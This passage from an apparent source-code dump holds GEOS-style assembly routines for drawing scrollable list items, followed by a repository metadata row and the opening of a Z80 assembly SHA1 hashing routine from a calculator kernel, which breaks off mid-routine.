BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 3/24/92 Initial version ------------------------------------------------------------------------------@ ClearNavigateFlagsIfValid proc near call IC_DerefVisDI test ds:[di].OLII_state, mask OLIS_MONIKER_INVALID jnz exit ;moniker still invalid, branch andnf ds:[di].OLII_state, not (mask OLIS_NAVIGATE_IF_DISABLED or \ mask OLIS_NAVIGATE_BACKWARD) exit: ret ClearNavigateFlagsIfValid endp COMMENT @---------------------------------------------------------------------- METHOD: OLScrollableItemUpdateVisMoniker -- MSG_SPEC_UPDATE_VIS_MONIKER for OLScrollableItemClass DESCRIPTION: Handles update of monikers. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_SPEC_UPDATE_VIS_MONIKER dx - VisUpdateMode RETURN: nothing DESTROYED: ax, cx, dx, bp PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- chris 4/14/92 Initial Version ------------------------------------------------------------------------------@ OLScrollableItemUpdateVisMoniker method dynamic OLScrollableItemClass, MSG_SPEC_UPDATE_VIS_MONIKER call VisCheckIfSpecBuilt jnc done ; ; Only consider the no-update optimization if the moniker is currently ; invalid, and we're guaranteed to get a mass redraw later. 5/25/93 cbh ; mov di, ds:[si] add di, ds:[di].Vis_offset test ds:[di].OLII_state, mask OLIS_MONIKER_INVALID jz doUpdate ; ; This seems to improve performance dramatically, but who knows if ; it really works. -cbh 5/13/93 ; call VisCheckIfFullyEnabled jc done ;done, redraw after all items ; are invalidated will catch ; the draw. doUpdate: ; ; Avoid nasty geometry being redone. (Disabled items seem to need ; the invalidate to guarantee the old moniker is fully erased.) ; mov dl, VUM_NOW ;we can update things NOW mov cl,mask VOF_IMAGE_INVALID ;CL <- what to mark invalid GOTO VisMarkInvalid ; Mark object image as invalid done: ret OLScrollableItemUpdateVisMoniker endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLItemSetUseColorIfDisabled %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Sets AX = the appropriate color for the object if it is disabled. CALLED BY: DrawColorScrollableItem PASS: *ds:si - instance data for OLScrollableItem object ax = enabled color RETURN: ax = new disabled color, if disabled DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: Currently distinguishes 3 states of the item, resulting in 3 distinct color schemes: 1) Enabled 2) Disabled & cursored 3) Disabled & not cursored REVISION HISTORY: Name Date Description ---- ---- ----------- reza 12/29/94 Initial version cthomas 5/16/96 Distinguish selected/non-selected cases %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if USE_COLOR_FOR_DISABLED_GADGETS OLItemSetUseColorIfDisabled proc far uses di .enter mov di, ds:[si] add di, ds:[di].Vis_offset test ds:[di].VI_attrs, mask VA_FULLY_ENABLED jnz exit ;skip if is enabled... mov ax, DISABLED_COLOR ; assume not selected ; ; Distinguish non-enabled + selected vs. non-enabled non-selected ; test ds:[di].OLII_state, mask OLIS_SELECTED jz exit mov ax, DISABLED_CURSORED_COLOR exit: .leave ret OLItemSetUseColorIfDisabled endp endif ; USE_COLOR_FOR_DISABLED_GADGETS ItemCommon ends DrawBW segment resource COMMENT @---------------------------------------------------------------------- FUNCTION: DrawBWScrollableItem DESCRIPTION: Draw an OLScrollableItemClass object on a black & white display. CALLED BY: OLScrollableItemDraw PASS: *ds:si - instance data ch - DrawFlags: DF_EXPOSED set if updating di - GState to use RETURN: *ds:si - same DESTROYED: ax, bx, cx, dx, di, bp REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 2/89 Initial version Eric 3/90 cleanup ------------------------------------------------------------------------------@ if _OL_STYLE or _MOTIF or _ISUI DrawBWScrollableItem proc far class OLScrollableItemClass EC < call VisCheckVisAssumption ;Make sure vis data exists > call OLItemGetGenAndSpecState ;sets: bh = OLBI_specState (low byte) ; cl = OLBI_optFlags ; dl = GI_states ; dh = OLII_state mov ax, C_WHITE call GrSetAreaColor mov ax, C_BLACK if USE_COLOR_FOR_DISABLED_GADGETS call OLItemSetUseColorIfDisabled endif call GrSetTextColor ; DrawBWScrollableItemBackground sets call GrSetLineColor ; these later. What's the point? if _DISABLED_SCROLL_ITEMS_DRAWN_WITH_SDM_50 ;set the draw masks to 50% if this object is disabled mov al, SDM_50 ;Use a 50% mask call OLItemSetMasksIfDisabled ; jnz 10$ ;10$: endif ;if this is a MSG_META_EXPOSED event, then force a full redraw. test ch, mask DF_EXPOSED jnz fullRedraw ;skip if so... test cl, mask OLBOF_DRAW_STATE_KNOWN jz fullRedraw ;skip if have no old state info... ;this is not a MSG_META_EXPOSED event. So some status flag(s) in this ;item object have changed. Compare old vs. new state to see what ;has changed clr ch ;default flag: is not FULL REDRAW mov al, bh ;get OLBI_specState xor al, cl ;compare to OLBI_optFlags push di ;can I trash this? Who knows. mov di, ds:[si] ;point to instance add di, ds:[di].Vis_offset mov ah, ds:[di].VI_attrs ;get VI_attrs xor ah, cl ;compare to OLBI_optFlags test ah, mask VA_FULLY_ENABLED pop di jz drawCommon ;skip if same enabled status... deltaEnabledStatus: ;the ENABLED status has changed. If that is all that changed, ;then just wash over this object with a 50% pattern, making it ;look as if we redrew it with 50% masks. test al, OLBOF_STATE_FLAGS_MASK jnz fullRedraw ;if any other flags changed, ;force a full redraw... if _DISABLED_SCROLL_ITEMS_DRAWN_WITH_SDM_50 call CheckIfJustDisabled jnc fullRedraw ;going enabled, branch to do it push ax mov al, mask SDM_INVERSE or SDM_50 ;Use inverse of 50% mask mov ch, TRUE call OLItemWash50Percent pop ax jmp short done ;skip if washed object... ;(bx, cx, dx trashed if so) endif fullRedraw: ;we must fully redraw this object, including the background mov ch, TRUE drawCommon: ;regs: ; al = flags which have changed ; bh = OLBI_specState (low byte) ; cl = OLBI_optFlags ; ch = TRUE if is full redraw ; dh = OLII_state ;Yes, we could have plenty of optimizations here in the future, to ;handle transitions between specific states. But since we are running ;out of memory and not processor speed, punt! call DrawBWScrollableItemBackground drawMoniker: test dh, mask OLIS_MONIKER_INVALID jnz abort ;skip if invalid... test dl, mask GS_USABLE jz abort ;skip if not usable... ; ; Set the area color to be used by monochrome bitmap monikers ; mov ax, C_BW_GREY ;Use 50% pattern if disabled call OLScrollableItemSetAreaColorBlackIfEnabled ;set AreaColor C_BLACK or dark color. ; ; call routine to determine which accessories to draw with moniker ; mov al, cl ;pass al = OLBI_optFlags mov dh, bh ;set dh = OLBI_specState call OLButtonSetupMonikerAttrs ;returns cx = OLMonikerAttrs ;does not trash ax, dx, di if _KBD_NAVIGATION ;------------------------------------------------------ ; ; if selection cursor is on this object, have the dotted line drawn ; just inside the bounds of the object (taking clipping into account). ; (cx = OLMonikerAttrs) test cx, mask OLMA_DISP_SELECTION_CURSOR jz 90$ ;skip if not... ornf cx, mask OLMA_USE_LIST_SELECTION_CURSOR ; ; CUA/Motif: Pass color info in OLMonikerFlags so that ; OpenDrawMoniker knows how to draw the selection cursor. ; test dh, mask OLBSS_SELECTED ;is item ON? jz 90$ ;skip if not... ornf cx, mask OLMA_BLACK_MONOCHROME_BACKGROUND ; pass flag indicating that we are ; drawing over a C_BLACK area, so to ; draw selection cursor, use C_WHITE. ; To erase, use C_BLACK. 90$: endif ; _KBD_NAVIGATION ------------------------------------------------------ mov al, (J_LEFT shl offset DMF_X_JUST) or \ (J_CENTER shl offset DMF_Y_JUST) or \ mask DMF_CLIP_TO_MAX_WIDTH OLS < mov dx, SCROLL_ITEM_INSET_X ;left and right inset > ;(top and bottom = 0) CUAS < mov dx, MO_SCROLL_ITEM_INSET_X ;left and right inset > ;(top and bottom = 0) CUAS < xchg cx, dx > CUAS < call AddExtraSpaceIfInMenu ;adds space to cx > CUAS < xchg cx, dx > ;pass al = DrawMonikerFlags, ;cx = OLMonikerAttrs call OLButtonDrawMoniker ;draw moniker done: ret ;NOTE: CLAYTON: IS THIS OK WHEN OBJECT IS NOT USABLE? abort: ;Moniker isn't valid, so erase the entry. OLS < mov ax, C_WHITE > CUAS< mov ax, C_WHITE > call GrSetAreaColor call VisGetBounds ; Get bounds to draw everything call GrFillRect ret DrawBWScrollableItem endp endif ; _OL_STYLE or _MOTIF or _ISUI COMMENT @---------------------------------------------------------------------- FUNCTION: DrawBWScrollableItemBackground DESCRIPTION: This procedure draws a black and white scroll item. CALLED BY: DrawBWScrollableItem PASS: *ds:si = instance data for object al = drawing flags which have changed bh = OLBI_specState (low byte) cl = OLBI_optFlags ch = TRUE if must redraw item dl = GI_states dh = OLII_state bp = color scheme (from GState) di = GState RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 4/90 some code from old DrawBWScrollItem Chris 4/91 Updated for new graphics, bounds conventions ------------------------------------------------------------------------------@ if _OL_STYLE or _MOTIF or _ISUI DrawBWScrollableItemBackground proc near uses ax, bx, cx, dx, bp .enter ; ; The CURSORED, DEPRESSED, SELECTED, or DEFAULT flag(s) have changed ; update the item image according to the new SELECTED state. ; test dh, mask OLIS_MONIKER_INVALID jnz notSelected ;draw in white if moniker is invalid test bh, mask OLBSS_SELECTED jz notSelected selected: ; ; draw background in dark (selected) color ; mov ax, C_BLACK call GrSetAreaColor call VisGetBounds call GrFillRect mov ax, C_WHITE ; Use white as text color if USE_COLOR_FOR_DISABLED_GADGETS call OLItemSetUseColorIfDisabled endif call GrSetTextColor ; for item that are "on" call GrSetLineColor jmp short done notSelected: mov ax, C_WHITE call GrSetAreaColor OLS < call GrSetLineColor > call VisGetBounds call GrFillRect OLS < dec cx ;adjust for lines > OLS < dec dx > OLS < call GrDrawRect > done: .leave ret DrawBWScrollableItemBackground endp endif ; _OL_STYLE or _MOTIF or _ISUI DrawBW ends DrawColor segment resource if not _ASSUME_BW_ONLY COMMENT @---------------------------------------------------------------------- FUNCTION: DrawColorScrollableItem DESCRIPTION: Draw an OLScrollableItemClass object on a color display. CALLED BY: OLScrollableItemDraw (OpenLook and Motif cases only) PASS: *ds:si - instance data for OLScrollableItem object cl - color scheme ch - DrawFlags: DF_EXPOSED set if updating di - GState to use RETURN: *ds:si = same DESTROYED: ax, bx, cx, dx, si, di, bp PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 2/89 Initial version Eric 3/90 cleanup ------------------------------------------------------------------------------@ if _OL_STYLE or _MOTIF or _ISUI ;------------------------------- DrawColorScrollableItem proc far class OLScrollableItemClass EC < call VisCheckVisAssumption ;Make sure vis data exists > mov bp, cx ;Save DrawFlags and color scheme call OLItemGetGenAndSpecState ;sets: bl = OLBI_behavior ; bh = OLBI_specState (low byte) ; cl = OLBI_optFlags ; dl = GI_states ; dh = OLII_state push bx if ITEM_USES_BACKGROUND_COLOR ; ; use parent text color, as we do for background color ; call OpenGetParentTextColor else call OpenGetTextColor ; use hint text color if there endif mov bx, C_BLACK jnc 10$ clr bx mov bl, al 10$: mov ax, bx pop bx if USE_COLOR_FOR_DISABLED_GADGETS call OLItemSetUseColorIfDisabled endif call GrSetTextColor call GrSetLineColor ;set the draw masks to 50% if this object is disabled ;(Experimentation 9/ 7/93 cbh: move this further down so background ; draws aren't done in a 50% pattern.) (Integrated for V2.1 1/24/94) if 0 mov al, SDM_50 call OLItemSetMasksIfDisabled endif ;if this is a MSG_META_EXPOSED event, then force a full redraw. test ch, mask DF_EXPOSED jnz fullRedraw ;skip if so... test cl, mask OLBOF_DRAW_STATE_KNOWN jz fullRedraw ;skip if have no old state info... ;this is not a MSG_META_EXPOSED event. So some status flag(s) in this ;item object have changed. Compare old vs. new state to see what ;has changed clr ch ;default flag: is not FULL REDRAW mov al, bh ;get OLBI_specState xor al, cl ;compare to OLBI_optFlags push di ;can I trash this? Who knows. mov di, ds:[si] ;point to instance add di, ds:[di].Vis_offset mov ah, ds:[di].VI_attrs ;get VI_attrs xor ah, cl ;compare to OLBI_optFlags test ah, mask VA_FULLY_ENABLED pop di jz drawCommon ;skip if same enabled status... deltaEnabledStatus: ;the ENABLED status has changed. If that is all that changed, ;then just wash over this object with a 50% pattern, making it ;look as if we redrew it with 50% masks. test al, OLBOF_STATE_FLAGS_MASK jnz fullRedraw ;if any other flags changed, ;force a full redraw... if (not USE_COLOR_FOR_DISABLED_GADGETS) and (not ITEM_USES_BACKGROUND_COLOR) ; not-enabled custom colors need full redraw call CheckIfJustDisabled jnc fullRedraw ;going enabled, branch to do it push ax call GetLightColor ;ax <- use light color call GrSetAreaColor mov al, mask SDM_INVERSE or SDM_50 ;Use inverse of 50% mask mov ch, TRUE ; signal color item call OLItemWash50Percent pop ax jmp done ;exit endif ;must have changed from DISABLED to ENABLED: fall through ;to force a full redraw. fullRedraw: ;we must fully redraw this object, including the background mov ch, TRUE drawCommon: ;draw the background for the list item ; al = flags which have changed ; bh = OLBI_specState (low byte) ; cl = OLBI_optFlags ; ch = TRUE if is full redraw ; dh = OLII_state call DrawColorScrollableItemBackground if SCROLL_LIST_GRID_LINES_AND_SPACING call DrawScrollableItemGridLines endif ;set the draw masks to 50% if this object is disabled ;(Moved here 9/ 7/93 cbh) (Integrated for V2.1 1/24/94 cbh) if not USE_COLOR_FOR_DISABLED_GADGETS mov al, SDM_50 call OLItemSetMasksIfDisabled endif drawMoniker: ;Set the area color to be used by monochrome bitmap monikers ;regs: *ds:si = object ; bh = OLBI_specState (low byte) ; cl = OLBI_optFlags ; dl = GI_states ; dh = OLII_state ; bp = DrawFlags, ColorScheme ; di = GState test dh, mask OLIS_MONIKER_INVALID LONG jnz done test dl, mask GS_USABLE LONG jz done ;Set the area color to be used by monochrome bitmap monikers if USE_COLOR_FOR_DISABLED_GADGETS mov ax, DISABLED_COLOR ;assume DISABLED_COLOR for ;bitmap if not enabled else call GetDarkColor ;assume dark color for bitmap ;if is not enabled endif call OLScrollableItemSetAreaColorBlackIfEnabled ;set AreaColor C_BLACK or dark color. ;call routine to determine which accessories to draw with moniker mov al, cl ;pass al = OLBI_optFlags mov dh, bh ;set dh = OLBI_specState call OLButtonSetupMonikerAttrs ;returns cx = info. ;does not trash ax, dx, di if _KBD_NAVIGATION ;------------------------------------------------------ ;decide whether selection cursor must be drawn ;(al = OLBI_optFlags) call OLButtonTestForCursored ;in Resident resource (does not trash dx if CURSOR_ON_BACKGROUND_COLOR ; ; Since we do a full redraw if the cursor turns off, we don't ; need to erase cursor in this case. ; test al, mask OLBOF_DRAWN_CURSORED jz notCursorOff test bx, mask OLBSS_CURSORED jnz notCursorOff andnf cx, not (mask OLMA_DISP_SELECTION_CURSOR and \ mask OLMA_SELECTION_CURSOR_ON) notCursorOff: endif ;if selection cursor is on this object, have the dotted line drawn ;just inside the bounds of the object (taking clipping into account). test cx, mask OLMA_DISP_SELECTION_CURSOR jz 90$ ;skip if not... ornf cx, mask OLMA_USE_LIST_SELECTION_CURSOR ;CUA/Motif: Pass color info in OLMonikerFlags so that OpenDrawMoniker ;knows how to draw the selection cursor. test dh, mask OLBSS_SELECTED ;is item ON? jnz 85$ ;skip if so... ornf cx, mask OLMA_LIGHT_COLOR_BACKGROUND jmp short 90$ 85$: ornf cx, mask OLMA_DARK_COLOR_BACKGROUND 90$: if CURSOR_ON_BACKGROUND_COLOR ;---------------------------------------------- mov ax, (1 shl 8) ; use parent unselected color test dh, mask OLBSS_SELECTED ; al non-zero if selected jz 3$ dec al 3$: call OpenSetCursorColorFlags ; cx = update OLMonikerAttrs endif ; CURSOR_ON_BACKGROUND_COLOR ;-------------------------------------- endif ; _KBD_NAVIGATION ----------------------------------------------------- mov al, (J_LEFT shl offset DMF_X_JUST) or \ (J_CENTER shl offset DMF_Y_JUST) or \ mask DMF_CLIP_TO_MAX_WIDTH OLS < mov dx, SCROLL_ITEM_INSET_X ;pass 4 inset values > CUAS < mov dx, MO_SCROLL_ITEM_INSET_X ;pass 4 inset values > CUAS < xchg cx, dx > CUAS < call AddExtraSpaceIfInMenu ;adds space to cx > CUAS < xchg cx, dx > ; ; pass al = DrawMonikerFlags, cx = OLMonikerAttrs ; call OLButtonDrawMoniker ;draw moniker and accessories done: ret DrawColorScrollableItem endp endif ; _OL_STYLE or _MOTIF or _ISUI --------------------------------------- COMMENT @---------------------------------------------------------------------- FUNCTION: DrawColorScrollableItemBackground DESCRIPTION: This procedure draws a color Toolbox-type item, for Motif or OpenLook only. In Motif, this procedure is used for toolbox exclusive items; in OpenLook it is used for items in a windowm, menu, or toolbox. CALLED BY: DrawColorItem PASS: *ds:si = instance data for object al = drawing flags which have changed bl = OLII_behavior bh = OLBI_specState (low byte) cl = OLBI_optFlags ch = TRUE if must redraw item dl = GI_states dh = OLII_state bp = color scheme (from GState) di = GState RETURN: ds, si, di, ax, bx, dx, bp = same ch = TRUE if must redraw moniker DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 4/90 some code from old DrawColorItem ------------------------------------------------------------------------------@ if _OL_STYLE or _MOTIF or _ISUI ;------------------------------- DrawColorScrollableItemBackground proc near uses ax, bx, cx, dx, bp .enter ;The CURSORED, DEPRESSED, SELECTED, or DEFAULT flag(s) have changed ;update the item image according to the new SELECTED state. ; ; If the moniker is invalid, then erase whatever is there by ; clearing to the background color. Also, if it's disabled, we won't ; show emphasis. (Can't really do this and avoid blinking when ; changing enabled state. We'll find another way to solve the navigate ; to disabled item in dynamic list problem.) ; ; push di ; mov di, ds:[si] ; add di, ds:[di].Vis_offset ; test ds:[di].VI_attrs, mask VA_FULLY_ENABLED ; pop di ; jz notSelected test dh, mask OLIS_MONIKER_INVALID jnz drawBackground ; if so, clear out to bg color test bh, mask OLBSS_SELECTED jz notSelected ;skip if item is OFF... selected: ;draw background in dark (selected) color. (Rewrit 2/15/93 cbh) mov al, -1 ;pass al non-zero for selected call FillRectWithBGColors if _OL_STYLE ;-------------------------------------------------------------- dec cx ; adjust for lines dec dx push ax mov ax, C_BLACK call GrSetLineColor pop ax call GrDrawHLine ; Draw the top/left edges call GrDrawVLine push ax mov ax, C_WHITE call GrSetLineColor pop ax call DrawBottomRightEdges ; Draw bottom/right edges endif ;-------------------------------------------------------------- push bx if ITEM_USES_BACKGROUND_COLOR ; ; use parent text color, as we do for background color ; call OpenGetParentTextColor else call OpenGetTextColor ; use hint text color if there endif mov bx, C_WHITE jnc 10$ clr bx mov bl, ah 10$: mov ax, bx pop bx call GrSetTextColor ; for item that are "on" call GrSetLineColor ; For mnemonics jmp short finishUp notSelected: tst ch ;is this a full redraw? jnz drawBackground ;skip if not... test cl, mask OLBOF_DRAW_STATE_KNOWN jz 70$ ;skip if have no old state info... if CURSOR_ON_BACKGROUND_COLOR ; ; ; If cursor turned off, redraw to support non-standard gadget ; background colors. ; test cl, mask OLBOF_DRAWN_CURSORED jz notCursorOff test bh, mask OLBSS_CURSORED jz drawBackground notCursorOff: endif test cl, mask OLBOF_DRAWN_SELECTED jz 70$ ;skip if it wasn't drawn selected drawBackground: ;is not an EXPOSE event: clear to background color (Rewrit 2/15/93 cbh) clr ax ;pass ax zero for non-selected call FillRectWithBGColors 70$: ;set up colors to draw moniker finishUp: .leave mov ch, TRUE ; return flag: must redraw moniker done: ret DrawColorScrollableItemBackground endp endif ; _OL_STYLE or _MOTIF or _ISUI -------------------------------------- endif ; not _ASSUME_BW_ONLY ------------------------------------------------- DrawColor ends Resident segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ECScrollableItemCompField SYNOPSIS: Error checking routine that makes sure that nothing appears in the GI_comp field of the Scrollableing list item, since it never has any children. PASS: *ds:si - instance data of Scrollable item RETURN: FATAL ERROR IF GI_comp FIELD IS NONZERO DESTROYED: di %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if ERROR_CHECK ECScrollableItemCompField proc far push ax call Res_DerefGenDI mov ax, ds:[di].GI_comp.handle or ax, ds:[di].GI_comp.chunk ERROR_NZ OL_ERROR_ITEMS_CANNOT_HAVE_GENERIC_CHILDREN pop ax ret ECScrollableItemCompField endp endif OLScrollableItemSetAreaColorBlackIfEnabled proc far push di call Res_DerefVisDI test ds:[di].VI_attrs, mask VA_FULLY_ENABLED pop di jz 80$ ;skip if not enabled mov ax, C_WHITE ;Draw white bitmap moniker, if selected test bh, mask OLBSS_SELECTED jnz 80$ ;skip if item is ON... mov ax, C_BLACK ;Draw black bitmap moniker 80$: call GrSetAreaColor ;color for b/w bitmap monikers ret OLScrollableItemSetAreaColorBlackIfEnabled endp COMMENT @---------------------------------------------------------------------- ROUTINE: AddExtraSpaceIfInMenu SYNOPSIS: Adds extra space to cx to compensate for being a popup list. CALLED BY: utility PASS: *ds:si -- item cx -- value to add to RETURN: cx -- value, possibly updated DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 11/23/92 Initial version ------------------------------------------------------------------------------@ AddExtraSpaceIfInMenu proc far uses di .enter call Res_DerefVisDI test ds:[di].OLBI_specState, mask OLBSS_IN_MENU jz exit add cx, MO_SCROLL_POPUP_ITEM_EXTRA_SPACE exit: .leave ret AddExtraSpaceIfInMenu endp Resident ends ItemVeryCommon segment resource COMMENT @---------------------------------------------------------------------- METHOD: OLScrollableItemSetInteractableState -- MSG_GEN_ITEM_SET_INTERACTABLE_STATE for OLScrollableItemClass DESCRIPTION: Marks an item as interactable or not. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_GEN_ITEM_SET_INTERACTABLE_STATE cx - non-zero for interactable RETURN: nothing DESTROYED: ax, cx, dx, bp PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- chris 2/23/93 Initial Version ------------------------------------------------------------------------------@ OLScrollableItemSetInteractableState method dynamic OLScrollableItemClass, \ MSG_GEN_ITEM_SET_INTERACTABLE_STATE ; ; If we're not changing anything, don't do anything, but especially ; don't send out the notify message! It breaks repeat scrolling. ; 5/13/93 cbh ; mov dl, mask OLIS_MONIKER_INVALID ;set dl if cx is zero jcxz 10$ clr dx 10$: mov di, ds:[si] add di, ds:[di].Vis_offset xor dl, ds:[di].OLII_state ;xor against current and dl, mask OLIS_MONIKER_INVALID tst dl ;not dx! 5/24/93 cbh jz exit ;not changing, exit push cx mov di, offset OLScrollableItemClass CallSuper MSG_GEN_ITEM_SET_INTERACTABLE_STATE pop cx ; ; Send to parent so it knows when to do an update-complete. ; call GetItemPosition ;returns position in dx mov ax, MSG_OL_IGROUP_NOTIFY_ITEM_CHANGED_INTERACTABLE_STATE call VisCallParent exit: ret OLScrollableItemSetInteractableState endm ItemVeryCommon ends
26.156089
81
0.640261
eb4fd06e11c54ee1bbd1acec32406f210e40b503
10,610
asm
Assembly
src/02/crypto.asm
Willem3141/kernel
c7b72f75b78a9b23e66432801f8d8df1727637ed
[ "MIT" ]
251
2015-01-08T17:46:33.000Z
2022-03-30T07:51:17.000Z
src/02/crypto.asm
Willem3141/kernel
c7b72f75b78a9b23e66432801f8d8df1727637ed
[ "MIT" ]
32
2015-01-16T08:47:29.000Z
2020-01-30T18:31:21.000Z
src/02/crypto.asm
Willem3141/kernel
c7b72f75b78a9b23e66432801f8d8df1727637ed
[ "MIT" ]
35
2015-01-27T18:23:57.000Z
2022-02-26T19:47:08.000Z
;; sha1Init [Cryptography] ;; Allocates a memory block to keep the state and result of ;; a SHA1 hash operation. The result is kept in the first 20 bytes ;; of the allocated block. You must use [[sha1Clean]] to deallocate ;; the block; simply using [[free]] will result in a memory leak! ;; Outputs: ;; Z: Set on success, reset on failure ;; A: Error code (on failure) ;; IX: location of allocated block (on success) sha1Init: push bc push de push hl ld bc, sha1Memblock_size ld a, 1 call calloc jr nz, .fail push ix \ pop de ld bc, .defaultMemblock_copy_end - .defaultMemblock ld hl, .defaultMemblock ldir ; Possibly this could be improved push ix ld bc, 320 ; SHA1 block is this size ld a, 1 call calloc ; Store the pointers push ix \ pop hl pop ix ld (ix + sha1_block_ptr), l ld (ix + sha1_block_ptr + 1), h ld (ix + sha1_block_front_ptr), l ld (ix + sha1_block_front_ptr + 1), h .fail: pop hl pop de pop bc ret ; This is the default memblock. Its ; state will be changed by the algorithm. .defaultMemblock: ; Holds the completed hash. sha1_hash .equ $ - .defaultMemblock .db 0x67,0x45,0x23,0x01 .db 0xEF,0xCD,0xAB,0x89 .db 0x98,0xBA,0xDC,0xFE .db 0x10,0x32,0x54,0x76 .db 0xC3,0xD2,0xE1,0xF0 .defaultMemblock_copy_end: ; The length of the input is kept here sha1_length .equ $ - .defaultMemblock ; Keep these contiguous sha1_temp .equ sha1_length + 8 sha1_a .equ sha1_temp + 4 sha1_b .equ sha1_a + 4 sha1_c .equ sha1_b + 4 sha1_d .equ sha1_c + 4 sha1_e .equ sha1_d + 4 sha1_f .equ sha1_e + 4 sha1_k .equ sha1_f + 4 sha1_f_op_ptr .equ sha1_k + 4 ; Pointers to the SHA1 block are kept here sha1_block_ptr .equ sha1_f_op_ptr + 2 sha1_block_front_ptr .equ sha1_block_ptr + 2 sha1Memblock_size .equ sha1_block_front_ptr + 2 ;; sha1Clean [Cryptography] ;; Safely deallocates a SHA1 state block allocated by ;; sha1Init. ;; Inputs: ;; IX: location of allocated block sha1Clean: push hl push ix ld l, (ix + sha1_block_front_ptr) ld h, (ix + sha1_block_front_ptr + 1) call free push hl \ pop ix call free pop ix pop hl ret ;; sha1Pad [Cryptography] ;; Finishes the SHA1 computation by appending the ;; required bits to the input. Call this routine once after ;; calling [[sha1AddByte]] for each input byte. After this routine, ;; the 8 bytes pointed to by IX will contain the big-endian ;; SHA1 hash. ;; Inputs: ;; IX: location of SHA1 state block sha1Pad: push af push de push hl call sha1Pad_noPush jr sha1AddByte_pop sha1Pad_noPush: ; append the bit '1' to the message ; append 0 <= k < 512 bits '0', so that the resulting message length (in bits) ; is congruent to 448 = -64 (mod 512) ld a, $80 .zero: call sha1AddByte_noLength ld a, (ix + sha1_block_front_ptr) add a, 56 cp (ix + sha1_block_ptr) ld a, $00 jr nz, .zero ; append length of message (before padding), in bits, as 64-bit big-endian integer push ix \ pop hl ld de, sha1_length add hl, de ld e, (ix + sha1_block_ptr) ld d, (ix + sha1_block_ptr + 1) ld bc, 8 ldir jr sha1ProcessBlock ;; sha1AddByte [Cryptography] ;; Adds a single byte to the SHA1 hash input stream. ;; Call this function once for each byte in the input ;; stream, then call [[sha1Pad]]. ;; Inputs: ;; IX: location of SHA1 state block ;; A: Byte to add sha1AddByte: push af push de push hl call sha1AddByte_noPush sha1AddByte_pop: pop hl pop de pop af ret sha1AddByte_noPush: push af ld a, (ix + sha1_length + 7) add a, 8 ld (ix + sha1_length + 7), a jr nc, .length_ok push ix _: dec ix inc (ix + sha1_length + 7) jr z, -_ pop ix .length_ok: pop af sha1AddByte_noLength: ld e, (ix + sha1_block_ptr) ld d, (ix + sha1_block_ptr + 1) ld (de), a inc de ld (ix + sha1_block_ptr), e ld (ix + sha1_block_ptr + 1), d ld a, (ix + sha1_block_front_ptr) add a, 64 cp e ret nz sha1ProcessBlock: ; Extend the sixteen 32-bit words into eighty 32-bit words: ; for i from 16 to 79 ; w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1 ld l, (ix + sha1_block_front_ptr) ld h, (ix + sha1_block_front_ptr + 1) ld bc, 63 add hl, bc push hl \ ex (sp), iy ld c, 64 .extend: ld b, 4 .extend_inner: inc iy ld a, (iy + -12) xor (iy + -32) xor (iy + -56) xor (iy + -64) ld (iy), a djnz .extend_inner push iy \ pop hl ld a, (iy + -3) rlca rl (hl) \ dec hl rl (hl) \ dec hl rl (hl) \ dec hl rl (hl) \ dec hl dec c jr nz, .extend ; Initialize hash value for this chunk: ; a = h0 ; b = h1 ; c = h2 ; d = h3 ; e = h4 push ix \ pop hl ; Unneeded because the sha1_hash offset is 0! ;ld de, sha1_hash ;add hl, de push hl ld de, sha1_a - sha1_hash add hl, de ex de, hl pop hl ld bc, 20 ldir ; Main loop ld l, (ix + sha1_block_front_ptr) ld h, (ix + sha1_block_front_ptr + 1) dec hl ld (ix + sha1_block_ptr), l ld (ix + sha1_block_ptr + 1), h ld hl, sha1Operation_mux \ call sha1Do20Rounds \ .db $5A,$82,$79,$99 ld hl, sha1Operation_xor \ call sha1Do20Rounds \ .db $6E,$D9,$EB,$A1 ld hl, sha1Operation_maj \ call sha1Do20Rounds \ .db $8F,$1B,$BC,$DC ld hl, sha1Operation_xor \ call sha1Do20Rounds \ .db $CA,$62,$C1,$D6 ; Add this chunk's hash to result so far ; h0 += a ; h1 += b ; h2 += c ; h3 += d ; h4 += e push bc ; Perhaps this could be improved. push ix \ pop de \ push de \ pop hl ld bc, 19 + sha1_hash add hl, bc ex de, hl ld bc, 19 + sha1_a add hl, bc pop bc ld c, 5 .add_result: call sha1_32BitAdd dec c jr nz, .add_result ld l, (ix + sha1_block_front_ptr) ld h, (ix + sha1_block_front_ptr + 1) ld (ix + sha1_block_ptr), l ld (ix + sha1_block_ptr + 1), h pop iy ret sha1Do20Rounds: ld (ix + sha1_f_op_ptr), l ld (ix + sha1_f_op_ptr + 1), h ld de, sha1_k push ix \ pop hl add hl, de ex de, hl pop hl ld bc, 4 ldir push hl ld b, 20 .rounds: push bc ; f = <some operation involving b, c, and d> call .do_f_operation ; temp = (a leftrotate 5) + f + e + k + w[i] ld bc, 4 push ix \ pop hl ld de, 